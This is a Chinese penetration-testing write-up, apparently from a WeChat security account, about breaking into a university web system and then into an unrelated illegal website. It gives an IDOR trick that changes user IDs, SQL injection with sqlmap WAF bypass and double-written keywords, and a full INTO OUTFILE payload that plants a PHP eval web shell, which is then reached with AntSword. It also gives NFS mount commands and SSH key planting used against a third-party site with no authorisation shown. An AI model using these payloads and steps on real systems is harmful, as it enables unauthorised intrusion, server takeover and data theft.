信息收集
本来是之前的一个小通杀在找同系统的站点想刷点分，fofa啥的搜过了，想着谷歌语法再搜搜标题看看有没有漏的站点。
结果就发现了此次测试的站点
很奇怪，不是我搜的模板是另一个学校的后台管理登录界面，然后起初没在意这块的内容打算继续找通杀的系统刷分，后面发现没有了模板才继续开始测这块的点。去掉https://xxx.edu.cn/login.php的路径访问主域名看看其它功能点。
一个智慧校园系统
还有个身份认证平台，看界面和智慧系统挺像的，测测弱口令，提示密码错误，但是密码错误的同时会提示“是否注册一个账户”迅速注册一个去
注册成功的一瞬间就跳转，然后检查网络包发现一个中有ID值
浏览详细信息再分析一下ID值的构成试试越权。
t_id=15069097719738416再注册一个账户继续查看另一个账户返回的网络包。
t_id=15069097719738418，t_id值末尾数增加2，所以猜测每注册一个个用户则id值会加2，并且这块的id值这串get请求直接在url栏是看不见的只能查看网络包，在网络包里才能看见，所以边把t_id=15069097719738416往后降两位试试能不能越权，这边往后降两位是因为注册时间原因，花某注册的时候应该是那个时间段唯一一个注册人，所以往前把id值加两位应该是没人的，所以该成t_id=15069097719738412试试。
成功越权至别人账户。
逻辑漏洞+1
随后发现在课程选择中存在【课程查询功能】
随便点击一个课程进行查看
发现class_mate_id=11的一个值，尝试联合注入。
这边BP乱码了，实际显示数据库错误字样，打包请求，sqlmap一把梭，这边是有小waf的用sqlmap内置的绕waf就能绕过。
成功跑出，Sql注入+1
Getshell：
随后回到起初的那个登录系统
对输入的账号是有加密的，起初js逆向了一下加密函数，然后跑了一下口令字典，但是没跑出来。
然后打算找找别的思路。
用户名输入user’
查看回显
网站回显失败，然后双写后成功绕过
Sql注入+2，本来想测到这里就结束的，但是前面js逆向的时候审计代码发现了一个意外惊喜。
两处都给出了绝对路径，注释点应该是程序员的代码习惯，下面也要引用路径所以提前打了注释，有sql注入还有绝对路径，直接试试写入shell。
user un union ion selselectect 1,2,3,4,<?php @eval($_POST[flower]);?>,6,7 into outfile E:/wwwroot/lj/user/flowers.php
查看回显，但是网站依旧显示数据库操作错误。
双写能绕前面已经测试过了，所以猜测问题出在了shell上，去HEX编码网站编写码试试。
随后就是直接写入。
某处回显成功，蚁剑连接！
Getshell+1，这次不打包提交了，因为系统是两处系统，sql点也是两点。前面的小洞打包交一个，后面的getshell交一个就ok了。
非法站点
这个站点和前面的学院站点一样也是纯属偶遇，测完前面几个功能点，还在继续在这个学院网站上找功能点测，然后就晃悠到了留言板。
突然发现一个“广告大师”，立即访问这个站点看看。
一个色情站点。。。，学校的管理员都不审核留言的。本来想直接跑路的，去继续挖别的洞，但是转念一想这样的留言肯定是批量留言的，而一般这种非法网站也会有黑帽工具，批量给站点挂黑链的，如果能打完连到桌面，如果有挂黑链工具,那就可以又收集一波已被挂链的网站去交src刷分，所以就开始打了，现在非法站点的安全做的一个比一个厉害，不知道能不能拿下，然后就开始浏览功能点，做信息收集了。
信息真是少的可怜。。。。Nmap扫下试试。
有nfs服务
然后一个似曾相识的感觉就来了，仔细一想原来之前写过一个赌球诈骗网点的网站也是这个服务，又遇到了，所以复现一波。因为此前已经安装国nfs服务了所以这边不需要重新安装，安装命令为：• apt-get install nfs-comm 然后连接nfs，再创建公钥发过去，然后ssh连接就ok了
showmount -e xxx.xx.x.x
mkdir /tmp/xxx.xx.x.x
mount -t nfs xxx.xx.x.x:/ /tmp/xxx.xx.x.x/
cd /tmp/xxx.xx.x.x/
注:再实战中还要注意ip地址是否为真实地址。
成功连接
总结
前面整体难度适中，学校有小waf但是waf还是有待加强，从留言板也能看出来学校运维其实不是很用心，后面的非法站点也没什么说的不是win系统的，本来以为是win系统才打的。
技术交流加下方vx
原文始发于微信公众号（红队蓝军）：从EDU某站hex编码getshell打到非法网站
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论